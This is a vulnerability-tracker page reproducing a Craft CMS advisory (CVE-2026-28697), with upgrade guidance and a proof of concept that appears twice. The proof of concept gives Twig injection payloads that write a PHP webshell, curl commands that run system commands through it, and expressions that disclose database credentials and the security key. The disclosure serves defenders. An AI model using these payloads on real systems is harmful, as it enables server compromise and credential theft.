Monitor vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
9.4
Craft CMS Vulnerable to Authenticated RCE via "craft.app.fs.write()" in Twig Templates
CVE-2026-28697
GHSA-v47q-jxvr-p68x
Summary
## Summary
An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the `craft.app.fs.write()` method, an attacker can write a malicious PHP script to a web-acces...
What to do
- Update craftcms cms to version 5.9.0-beta.1.
- Update craftcms cms to version 4.17.0-beta.1.
Affected software
| Vendor | Product | Affected versions | Fix available |
|---|---|---|---|
| craftcms | cms | > 5.0.0-RC1 , <= 5.9.0-beta.1 | 5.9.0-beta.1 |
| craftcms | cms | > 4.0.0-RC1 , <= 4.17.0-beta.1 | 4.17.0-beta.1 |
| craftcms | craft_cms | > 4.0.0 , <= 4.17.0 | – |
| craftcms | craft_cms | > 5.0.0 , <= 5.9.0 | – |
| craftcms | craft_cms | 4.0.0 | – |
| craftcms | craft_cms | 4.0.0 | – |
| craftcms | craft_cms | 4.0.0 | – |
| craftcms | craft_cms | 4.0.0 | – |
| craftcms | craft_cms | 5.0.0 | – |
| craftcms | craft_cms | 5.0.0 | – |
Original title
Craft CMS Vulnerable to Authenticated RCE via "craft.app.fs.write()" in Twig Templates
Original description
## Summary
An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the `craft.app.fs.write()` method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.
---
## Proof of Concept
### Attack Prerequisites
- Authenticated administrator account with `allowAdminChanges` enabled, or access to the System Messages utility
### Steps to Reproduce
1. Navigate to **Utilities → System Messages** (`/admin/utilities/system-messages`)
2. Edit any email template (e.g., "Test Email") and inject the following in the body (or the Subject):
- To exploit it by writing to a file system:
- **Note:** Replace the filesystem handle (e.g., `hardDisk`) with a valid handle configured in the target installation.
```twig
{{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}
```
- To exploit it by writing to a volume:
- **Note:** Replace the volume handle (e.g., `images`) with a valid handle configured in the target installation.
```twig
{{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}
```
<img width="982" height="901" alt="payload-injection" src="https://github.com/user-attachments/assets/86fbb99c-a551-4395-93a1-30e62e77c57e" />
3. Save & go to **Settings → Email** (`/admin/settings/email`)
4. Click **"Test"** at the bottom of the page to trigger template rendering
5. The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser:
**Note:** The path might be different on your end depending on the filesystem or volume configuration.
```bash
# For Filesystem
curl "http://target.com/uploads/shell.php?c=id"
# For Volume
curl "http://target.com/uploads/images/shell.php?c=id"
# Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
<img width="791" height="440" alt="rce-poc" src="https://github.com/user-attachments/assets/6a895609-bea0-459a-9659-0d1437f838f4" />
---
## Additional Impact
The same `craft.app` exposure without any security measures enables additional attack vectors:
### Database Credential Disclosure
Database credentials are stored in `.env` outside the webroot and are not accessible to admins through the UI. This bypasses that protection.
```twig
{{ craft.app.db.username }}
{{ craft.app.db.password }}
{{ craft.app.db.dsn }}
```
### Security Key Disclosure
Craft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, `craft.app.config.general.securityKey` bypasses this protection.
```twig
{{ craft.app.config.general.securityKey }}
```
## Recommended Fix
- **Add Twig sandbox rules** to block `write`, `writeFileFromStream`, `deleteFile`, and similar destructive methods
- **Consider allowlist approach** for `craft.app` properties accessible in templates rather than exposing the entire application
## Resources
https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197
https://github.com/craftcms/cms/pull/18219
https://github.com/craftcms/cms/pull/18216
An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the `craft.app.fs.write()` method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.
---
## Proof of Concept
### Attack Prerequisites
- Authenticated administrator account with `allowAdminChanges` enabled, or access to the System Messages utility
### Steps to Reproduce
1. Navigate to **Utilities → System Messages** (`/admin/utilities/system-messages`)
2. Edit any email template (e.g., "Test Email") and inject the following in the body (or the Subject):
- To exploit it by writing to a file system:
- **Note:** Replace the filesystem handle (e.g., `hardDisk`) with a valid handle configured in the target installation.
```twig
{{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}
```
- To exploit it by writing to a volume:
- **Note:** Replace the volume handle (e.g., `images`) with a valid handle configured in the target installation.
```twig
{{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}
```
<img width="982" height="901" alt="payload-injection" src="https://github.com/user-attachments/assets/86fbb99c-a551-4395-93a1-30e62e77c57e" />
3. Save & go to **Settings → Email** (`/admin/settings/email`)
4. Click **"Test"** at the bottom of the page to trigger template rendering
5. The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser:
**Note:** The path might be different on your end depending on the filesystem or volume configuration.
```bash
# For Filesystem
curl "http://target.com/uploads/shell.php?c=id"
# For Volume
curl "http://target.com/uploads/images/shell.php?c=id"
# Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
<img width="791" height="440" alt="rce-poc" src="https://github.com/user-attachments/assets/6a895609-bea0-459a-9659-0d1437f838f4" />
---
## Additional Impact
The same `craft.app` exposure without any security measures enables additional attack vectors:
### Database Credential Disclosure
Database credentials are stored in `.env` outside the webroot and are not accessible to admins through the UI. This bypasses that protection.
```twig
{{ craft.app.db.username }}
{{ craft.app.db.password }}
{{ craft.app.db.dsn }}
```
### Security Key Disclosure
Craft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, `craft.app.config.general.securityKey` bypasses this protection.
```twig
{{ craft.app.config.general.securityKey }}
```
## Recommended Fix
- **Add Twig sandbox rules** to block `write`, `writeFileFromStream`, `deleteFile`, and similar destructive methods
- **Consider allowlist approach** for `craft.app` properties accessible in templates rather than exposing the entire application
## Resources
https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197
https://github.com/craftcms/cms/pull/18219
https://github.com/craftcms/cms/pull/18216
nvd CVSS3.1
9.1
nvd CVSS4.0
9.4
Vulnerability type
CWE-1336
- https://github.com/craftcms/cms/pull/18219 Issue Tracking Patch
- https://github.com/craftcms/cms/security/advisories/GHSA-v47q-jxvr-p68x Exploit Mitigation Patch Vendor Advisory
- https://nvd.nist.gov/vuln/detail/CVE-2026-28697
- https://github.com/advisories/GHSA-v47q-jxvr-p68x
- https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197 Patch
- https://github.com/craftcms/cms/pull/18216 Issue Tracking Patch
Published: 3 Mar 2026 · Updated: 13 Mar 2026 · First seen: 6 Mar 2026